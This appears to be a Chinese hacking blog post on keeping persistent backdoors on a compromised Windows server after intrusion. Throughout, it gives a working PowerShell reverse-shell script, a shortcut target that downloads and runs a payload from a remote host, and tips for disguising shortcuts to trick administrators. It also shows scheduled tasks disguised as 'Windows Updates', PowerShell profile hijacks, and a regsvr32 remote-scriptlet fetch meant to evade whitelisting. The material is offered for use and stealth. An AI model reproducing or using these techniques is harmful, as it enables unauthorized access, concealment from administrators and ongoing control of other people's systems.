“今天,我将介绍关于hacker拿到一台服务器之后,如何建立持久性的后门的一些非常实用的小技巧!”
前言
能留后门的工具很多,技术方法也很多,但是今天我将介绍一些简单并且异常实用的方法。
废话不多说,上才艺!
1.快捷链接方式
对,你想的没错,我们就是创建一个快捷方式,里面的链接替换上我们的有效载荷,欺骗管理员点击,运行我们的shell和执行代码。
用社会工程学的角度来提高我们方法的可行性的几点:
“
1. 替换的快捷图标可以改成一些常用的软件,但不仅限于软件,提高管理员点击的可能性。
2. 改好的快捷方式可以放在比较显眼的地方,进一步提高可能性。
3. 最好不要用一些没用过或者安装过软件或者其他东西的快捷链接,这可能会引起怀疑。
4. 可以查看一波常用软件实用频率记录,比如可以从360软件管家这些第三方软考,也可直接查看控制面板中的程序实用频率。
”
演示:
我们创建一个安全狗快捷链接:
这里我用我的windows7虚拟机创建安全狗的快捷链接尝试实用cmd.exe起powershell执行反弹shell。
这里我直接用python起个简单的http服务
代码语言:javascript复制$client = New-Object System.Net.Sockets.TCPClient("192.168.73.136",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
把上述代码另存为shell.ps1
点开快捷链接属性,替换target为:
代码语言:javascript复制Cmd /c “powershell IEX (New-Object Net.WebClient).DownloadString("http://192.168.73.136/shell.ps1");”
再把快捷链接图标换了,然后一个后门快捷方式就做好了
弊端:但是这种方式有个很严重的弊端,就是执行了cmd 窗口会弹出来,这就很狗带,期间我也想过如何把这个玩意关掉,但是从理论上感觉不太行,各位师傅可以自行研究一番,我可能太菜了,没玩明白!结束cmd进程,相应的shell也会死掉,期间想过各种方式,方法,但都没用,这是一个很烧脑的东西!
优化:
我们完全可以用木马可执行文件来替换cmd执行powershell,这样后台将不会有任何操作显示,这样隐蔽一点,只需要把木马可执行文件绝对路径替换成链接的target就行了,这里仅提供一个思路,后续研究各位请继续。
你以为这就结束了?不,还能玩玩。
进一步优化:
前面虽然执行了木马文件,但是真正链接的程序我们并没用执行,而是被替换掉了,这样就会让人引起怀疑,就会猜测是不是路径错了,一打开快捷方式属性,然后就露馅了嘛,所以我又自己瞎倒腾!
首先建立一个bat文件,文件内容为:
代码语言:javascript复制@start C:\Users\hacker\Desktop\msf.exe//启动恶意程序
@"C:\Program Files (x86)SafeDogSafeDogSiteApacheSafeDogSiteApache.exe" //启动正常程序
然后快捷方式链接换成这个bat文件的链接,这样将会即执行了反弹shell,又会执行正常程序,能有效降低管理员的怀疑。
但是最后还是会有个cmd框,难受,但是没显示出执行的命令,还是有点优化效果的!
2. 计划任务方式
计划任务是一个很棒的后门方法,因为根本不需要用户交互,不需要高的权限,普通用户也可以写,是一款易于使用的方法。
这里我设置了定时任务,命令:
代码语言:javascript复制schtasks /create /tn testschtask /tr C:/Users/hacker/Desktop/msf.exe /sc DAILY /st 15:33:00
当然你完全可以设置一分钟就执行一次,例如这里我创建了一个windows updates任务,每分钟执行一次,你只需要把PATH替换成你的恶意程序路径就行了,命令:
代码语言:javascript复制schtasks /create /sc minute /mo 1 /tn "Windows Updates" /tr "PATH"
这样是非常nice的,是非常隐蔽实用的,你只需要在哪里监听,就会获得甜美的shell。
3. Powershell配置文件:
PowerShell配置文件是一个PowerShell脚本,您可以对其进行自定义,并将其特定于会话的元素添加到您启动的每个PowerShell会话中。它是一个在PowerShell启动时运行的脚本,你可以使用配置文件作为登录脚本来自定义环境,你可以添加命令,功能,别名,模块等。此外PowerShell支持多个配置文件,PowerShell主机程序可以支持其自己的主机特定配置文件。
一些样例:
PowerShell配置文件脚本存储在文件夹“ WindowsPowerShel”中,默认情况下对用户隐藏。如果有效负载已放入磁盘,则可以使用。
cmdlet指向可执行文件的位置,命令:
代码语言:javascript复制Start-Process
确定当前用户的配置文件是否存在,命令:
代码语言:javascript复制Test-Path $ profile
如果配置文件不存在,将为当前用户创建一个配置文件,命令:
代码语言:javascript复制New-Item -Path $ Profile -Type File -Force
重写该配置文件
代码语言:javascript复制Out-File
演示:
这样我每打开一个新的powershell窗口,将会执行恶意程序!
演示所用的命令:
代码语言:javascript复制echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Start-Process "C:\Users\hackerDesktop\msf.exe"'
$string | Out-File -FilePath "C:UsershackerDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1" -Append
与启动进程类似,“ Invoke-Item ” cmdlet可用于执行项目的默认操作,即运行文件,打开应用程序等。launcher.bat是Empire生成的有效负载,具有自我删除的能力作为更秘密的选择执行时,因为它不会创建新进程。
所需要的命令
代码语言:javascript复制echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
Add-Content $profile "Invoke-Item C:tmplauncher.bat"
$string | Out-File -FilePath "C:UsershackerDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1" -Append
这样当PowerShell在系统上再次启动时,将执行该文件,并且代理将与命令和控件进行通讯。执行过程不会像上面的示例那样在系统上创建新进程,而是使用现有的PowerShell进程,更为隐蔽。
cmdlet“ Invoke-Command ”的用法中允许执行命令,所以regsvr32方法可以用作隐藏选项,因为它可以规避未正确配置的应用程序白名单解决方案,并且可以从远程执行scriptlet。
参考命令:
代码语言:javascript复制echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Invoke-Command -ScriptBlock { regsvr32 /s /n /u /i:http://192.168.73.136:80/jWcEbr.sct scrobj.dll }'
$string | Out-File -FilePath "C:UsershackerDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1" -Append
Metasploit框架包含一个模块(web_delivery),该模块可以生成并提供恶意scriptlet文件。但是,其他命令或者控制(C2)框架(例如PoshC2)也支持此功能,并且与Metasploit相比,可以提供扩展的功能。
注意:使用多个命令对PowerShell配置文件进行大量修改会向用户发送一条有关增加加载时间的消息。但是,执行一个命令不会产生任何消息,有效负载将在后台运行,并且用户不会注意到任何异常。
在这里感谢各位大大的支持和鼓励
提前恭祝各位大大中秋和国庆节快乐
欢度中秋 喜迎国庆
END